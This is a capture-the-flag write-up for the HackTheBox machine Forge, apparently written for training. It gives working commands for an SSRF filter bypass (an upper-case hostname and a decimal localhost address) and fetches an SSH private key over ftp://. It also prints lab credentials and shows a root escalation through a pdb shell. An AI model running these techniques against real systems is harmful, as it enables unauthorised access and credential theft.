Forge - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Forge is a medium-difficulty Linux machine centered around Server-Side Request Forgery (SSRF) vulnerabilities and credential extraction. The attack begins with exploiting an upload functionality that accepts URL parameters, bypassing security blacklists through case manipulation to access internal admin endpoints. This exposure leads to FTP credentials being leaked via announcements, which are then leveraged through a decimal-encoded localhost address to extract SSH private keys. The privilege escalation path exploits improper input validation in a Python management script that allows arbitrary code execution through the Python debugger when non-integer menu options are supplied.

TL;DR: SSRF blacklist bypass (uppercase) → admin endpoint access → FTP credential leak → decimal IP localhost SSH key exfiltration → user shell → sudo Python script with pdb debugger escape → root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.11.111

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41

Service Enumeration

The machine hosts a web application on port 80 running Apache httpd. The primary endpoint is a file upload service that accepts URL parameters for remote file uploads. SSH service is available on port 22 for authenticated access.

Vulnerability Assessment

Key vulnerabilities identified:

• SSRF in upload functionality: The url= parameter accepts arbitrary URLs without proper validation
• Blacklist bypass: Input filtering is case-sensitive, allowing ADMIN.FORGE.HTB to bypass filters for admin.forge.htb
• Credential exposure: Internal endpoints expose sensitive credentials via announcements
• Decimal IP obfuscation: FTP credentials can be accessed using decimal-encoded localhost addresses
• Input validation flaw in management script: Python script lacks proper type checking on menu input, allowing debugger invocation

Initial Foothold

Exploitation Path

Step 1: Identify SSRF vulnerability in upload endpoint

Enumerate the web application to discover the upload functionality. The application accepts a url parameter that retrieves and uploads remote files:

# Discover upload endpoint
curl http://10.10.11.111/upload

Step 2: Bypass blacklist filtering with case manipulation

The application blacklists certain domains to prevent internal access. However, the filter is case-sensitive:

# Attempt direct admin access (blocked)
curl http://10.10.11.111/upload?url=http://admin.forge.htb/

# Bypass with uppercase (allowed)
curl -X POST http://10.10.11.111/upload \
  -d "url=http://ADMIN.FORGE.HTB/announcements&remote=1"

Step 3: Extract FTP credentials from admin announcements

The /announcements endpoint on the admin subdomain leaks FTP credentials:

user: user
password: heightofsecurity123!

Step 4: Convert localhost to decimal IP format

Convert 127.0.0.1 to decimal format to bypass additional filtering:

# Calculate decimal representation of 127.0.0.1
# 127 * 256^3 + 0 * 256^2 + 0 * 256 + 1
decimal_ip = (127 << 24) + (0 << 16) + (0 << 8) + 1
print(decimal_ip)  # Output: 2130706433

Step 5: Extract SSH private key via FTP SSRF

Use the SSRF vulnerability to access the FTP server via decimal-encoded localhost and retrieve the SSH private key:

# Craft SSRF request to FTP with decimal IP
curl -X POST http://10.10.11.111/upload \
  -d "url=ftp://user:heightofsecurity123%40@2130706433/.ssh/id_rsa&remote=1"

This retrieves the SSH private key. Save it locally and adjust permissions:

# Save the retrieved key
cat > id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[retrieved key content]
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 id_rsa

Step 6: Connect via SSH

ssh -i id_rsa user@10.10.11.111

Result: User shell obtained.

Privilege Escalation

Exploitation Path

Step 1: Discover sudo privilege

Check what commands the user can execute with sudo:

sudo -l

Output reveals:

(root) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Step 2: Analyze the management script

Examine the vulnerable Python script:

cat /opt/remote-manage.py

The script presents a menu prompt expecting integer input for command selection but lacks proper type validation.

Step 3: Trigger pdb debugger via invalid input

When the script receives non-integer input at the menu prompt, Python’s exception handling invokes pdb.post_mortem(), which runs as root:

sudo python3 /opt/remote-manage.py
# At the menu prompt, enter a non-integer value (e.g., 'a')

Step 4: Execute commands in pdb debugger

Within the pdb debugger running as root, execute arbitrary Python code:

# In pdb prompt
import os
os.system('/bin/bash')
# Now you have a root shell

Alternatively, read the root flag directly:

with open('/root/root.txt', 'r') as f:
    print(f.read())

Result: Root access obtained.

Attack Chain Summary

SSRF Upload Endpoint → Case-Sensitive Blacklist Bypass (ADMIN.FORGE.HTB)
→ Admin Announcements Access → FTP Credential Extraction
→ Decimal IP Localhost Conversion (127.0.0.1 = 2130706433)
→ FTP SSRF to SSH Private Key Retrieval
→ SSH User Shell
→ Sudo Python Script Execution
→ Non-Integer Menu Input Triggers pdb.post_mortem()
→ Root Shell

Tools Used

Key Learnings

Techniques Practiced

• Server-Side Request Forgery (SSRF) exploitation via upload parameters
• Case-sensitive blacklist bypass techniques
• Credential extraction from internal endpoints
• IP address encoding (decimal representation) for firewall/filter evasion
• FTP protocol abuse via SSRF
• Python exception handling exploitation for code execution
• Debugger invocation as privilege escalation vector

Lessons Learned

1. Blacklist filtering is insufficient: Always implement whitelist-based validation and ensure case-insensitive filtering when blocking domains.

2. Input validation is critical: The upload endpoint should validate URLs against a whitelist of allowed origins, not rely on blacklisting.

3. Credential management: Sensitive information should never be exposed in internal endpoints without authentication checks.

4. Type safety in user input: Python scripts accepting user input must validate data types explicitly, not rely on implicit exception handling.

5. Debugger access equals code execution: Debuggers running with elevated privileges should never be accessible from user input without strict controls.

6. Defense in depth: Multiple layers of validation (FTP firewall rules, SSH key permissions, sudo restrictions) would have prevented complete compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>